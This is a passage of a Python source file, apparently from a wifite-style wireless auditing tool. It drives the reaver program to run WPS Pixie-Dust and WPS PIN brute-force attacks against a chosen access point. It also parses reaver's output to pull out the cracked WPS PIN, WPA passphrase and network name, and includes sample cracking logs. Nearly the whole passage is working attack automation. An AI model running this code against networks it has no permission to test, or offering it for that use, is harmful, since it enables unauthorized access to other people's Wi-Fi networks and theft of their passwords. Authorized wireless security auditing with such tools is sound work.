output = Process(['reaver', '-h']).stderr()
|
||||
return '--pixie-dust' in output
|
||||
|
||||
def run_pixiedust_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
|
||||
command = [
|
||||
'reaver',
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--pixie-dust', '1', # pixie-dust attack
|
||||
#'--delay', '0',
|
||||
#'--no-nacks',
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # (very) verbose
|
||||
]
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
pin = None
|
||||
step = 'initializing'
|
||||
time_since_last_step = 0
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='pixie') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
|
||||
stdout_write.flush()
|
||||
|
||||
# Check output from reaver process
|
||||
stdout = self.get_stdout()
|
||||
stdout_last_line = stdout.split('\n')[-1]
|
||||
|
||||
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it, or if process stopped.
|
||||
if (pin and psk and ssid) or reaver.poll() != None:
|
||||
reaver.interrupt()
|
||||
|
||||
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
|
||||
stdout = self.get_stdout()
|
||||
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
|
||||
|
||||
# Check if we cracked it.
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
bssid = self.target.bssid
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
|
||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
else:
|
||||
# Failed to crack, reaver proces ended.
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
|
||||
return False
|
||||
|
||||
if 'WPS pin not found' in stdout:
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
break
|
||||
|
||||
last_step = step
|
||||
# Status updates, depending on last line of stdout
|
||||
if 'Waiting for beacon from' in stdout_last_line:
|
||||
step = '({C}step 1/8{W}) waiting for beacon'
|
||||
elif 'Associated with' in stdout_last_line:
|
||||
step = '({C}step 2/8{W}) waiting to start session'
|
||||
elif 'Starting Cracking Session.' in stdout_last_line:
|
||||
step = '({C}step 3/8{W}) waiting to try pin'
|
||||
elif 'Trying pin' in stdout_last_line:
|
||||
step = '({C}step 4/8{W}) trying pin'
|
||||
elif 'Sending EAPOL START request' in stdout_last_line:
|
||||
step = '({C}step 5/8{W}) sending eapol start request'
|
||||
elif 'Sending identity response' in stdout_last_line:
|
||||
step = '({C}step 6/8{W}) sending identity response'
|
||||
elif 'Sending M2 message' in stdout_last_line:
|
||||
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
|
||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
step = '({C}step -/8{W}) waiting for AP rate limit'
|
||||
|
||||
if step != last_step:
|
||||
# Step changed, reset step timer
|
||||
time_since_last_step = 0
|
||||
else:
|
||||
time_since_last_step += 1
|
||||
|
||||
if time_since_last_step > Configuration.wps_pixie_step_timeout:
|
||||
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
|
||||
break
|
||||
|
||||
# TODO: Timeout check
|
||||
if reaver.running_time() > Configuration.wps_pixie_timeout:
|
||||
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
|
||||
break
|
||||
|
||||
# Reaver Failure/Timeout check
|
||||
fail_count = stdout.count('WPS transaction failed')
|
||||
if fail_count > Configuration.wps_fail_threshold:
|
||||
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
|
||||
break
|
||||
timeout_count = stdout.count('Receive timeout occurred')
|
||||
if timeout_count > Configuration.wps_timeout_threshold:
|
||||
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
||||
break
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
# Attack failed, already printed reason why
|
||||
reaver.interrupt()
|
||||
stdout_write.close()
|
||||
return False
|
||||
|
||||
|
||||
def run_wps_pin_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
|
||||
# Start reaver process
|
||||
command = [
|
||||
'reaver',
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # verbose
|
||||
]
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
self.success = False
|
||||
pins = set()
|
||||
pin_current = 0
|
||||
pin_total = 11000
|
||||
failures = 0
|
||||
state = 'initializing'
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='wps') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
time.sleep(1)
|
||||
percent = 100 * float(pin_current) / float(pin_total)
|
||||
Color.clear_line()
|
||||
status = '{G}%.2f%% done{W}, ' % percent
|
||||
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
||||
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
||||
|
||||
if failures >= Configuration.wps_fail_threshold:
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
||||
Color.pl("")
|
||||
break
|
||||
|
||||
# Get output
|
||||
out = self.get_stdout()
|
||||
|
||||
# Clear output file
|
||||
f = open(self.stdout_file, 'w')
|
||||
f.write('')
|
||||
f.close()
|
||||
|
||||
# CHECK FOR CRACK
|
||||
|
||||
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
self.success = True
|
||||
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
|
||||
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
break
|
||||
|
||||
|
||||
# PIN PROGRESS
|
||||
|
||||
# Reaver 1.5.*
|
||||
match = None
|
||||
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
|
||||
# Look at last entry for "Pin count advanced" to get latest pin count
|
||||
pass
|
||||
if match:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
groups = match.groups()
|
||||
pin_current = int(groups[0])
|
||||
pin_total = int(groups[1])
|
||||
|
||||
# Reaver 1.3, 1.4
|
||||
match = None
|
||||
for match in re.finditer('Trying pin (\d+)', out):
|
||||
if match:
|
||||
pin = int(match.groups()[0])
|
||||
if pin not in pins:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
pins.add(pin)
|
||||
pin_current += 1
|
||||
|
||||
# Failures
|
||||
if 'WPS transaction failed' in out:
|
||||
failures += out.count('WPS transaction failed')
|
||||
elif 'Receive timeout occurred' in out:
|
||||
# Reaver 1.4
|
||||
failures += out.count('Receive timeout occurred')
|
||||
|
||||
# Status
|
||||
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
|
||||
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
|
||||
# Reaver 1.4
|
||||
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
|
||||
|
||||
if 'Detected AP rate limiting' in out:
|
||||
state = '{R}rate-limited{W}'
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl(state)
|
||||
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
|
||||
if 'WARNING: Failed to associate with' in out:
|
||||
# TODO: Fail after X association failures (instead of just one)
|
||||
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
|
||||
break
|
||||
|
||||
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
|
||||
if match:
|
||||
eta = match.groups()[0]
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
|
||||
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
|
||||
if match:
|
||||
eta = match.groups()[0]
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
pins_left = int(match.groups()[1])
|
||||
|
||||
# Divine pin_current & pin_total from this:
|
||||
pin_current = 11000 - pins_left
|
||||
|
||||
# Check if process is still running
|
||||
if reaver.pid.poll() != None:
|
||||
Color.pl('{R}failed{W}')
|
||||
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
|
||||
self.success = False
|
||||
break
|
||||
|
||||
# Output the current state
|
||||
Color.p(state)
|
||||
|
||||
'''
|
||||
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
|
||||
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
|
||||
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
|
||||
[+] Trying pin 12345670.
|
||||
[+] Pin count advanced: 46. Max pin attempts: 11000
|
||||
[!] WPS transaction failed (code: 0x02), re-trying last pin
|
||||
[!] WPS transaction failed (code: 0x03), re-trying last pin
|
||||
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
|
||||
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
|
||||
[!] WARNING: 25 successive start failures
|
||||
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
|
||||
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
|
||||
[+] Estimated Remaining time: 0d15h11m35s
|
||||
|
||||
[+] Pin cracked in 7 seconds
|
||||
[+] WPS PIN: '12345678'
|
||||
[+] WPA PSK: 'abcdefgh'
|
||||
[+] AP SSID: 'Test Router'
|
||||
|
||||
Reaver 1.4:
|
||||
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
|
||||
[!] WARNING: Receive timeout occurred
|
||||
|
||||
'''
|
||||
|
||||
reaver.interrupt()
|
||||
|
||||
return self.success
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_pin_psk_ssid(stdout):
|
||||
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||
pin = psk = ssid = None
|
||||
|
||||
# Check for PIN.
|
||||
# PIN: Printed *before* the attack completes.
|
||||
regex = re.search('WPS pin: *([0-9]*)', stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
# PIN: Printed when attack is completed.
|
||||
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
|
||||
if regex:
|
||||
pin = regex.groups()[0]
|
||||
|
||||
# Check for PSK.
|
||||
regex = re.search("WPA PSK: *'(.+)'", stdout)
|
||||
if regex:
|
||||
psk = regex.groups()[0]
|
||||
|
||||
# Check for SSID
|
||||
regex = re.search("AP SSID: *'(.+)'", stdout)
|
||||
if regex:
|
||||
ssid = regex.groups()[0]
|
||||
|
||||
return (pin, psk, ssid)
|
||||
|
||||
def get_stdout(self):
|
||||
''' Gets output from stdout_file '''
|
||||
if not self.stdout_file:
|
||||
return ''
|
||||
f = open(self.stdout_file, 'r')
|
||||
stdout = f.read()
|
||||
f.close()
|
||||
return stdout.strip()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
stdout = '''
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] Pixiewps 1.1
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||
[Pixie-Dust] [+] WPS pin: 12345678
|
||||
[Pixie-Dust]
|
||||
[Pixie-Dust] [*] Time taken: 0 s
|
||||
[Pixie-Dust]
|
||||
Running reaver with the correct pin, wait ...
|
||||
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
|
||||
|
||||
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
|
||||
[Reaver Test] Channel: 11
|
||||
[Reaver Test] [+] WPS PIN: '12345678'
|
||||
[Reaver Test] [+] WPA PSK: 'Test PSK'
|
||||
[Reaver Test] [+] AP SSID: 'Test Router'
|
||||
'''
|
||||
print Reaver.get_pin_psk_ssid(stdout)
|
||||
pass
|
||||
|
||||
Reference in New Issue
Block a user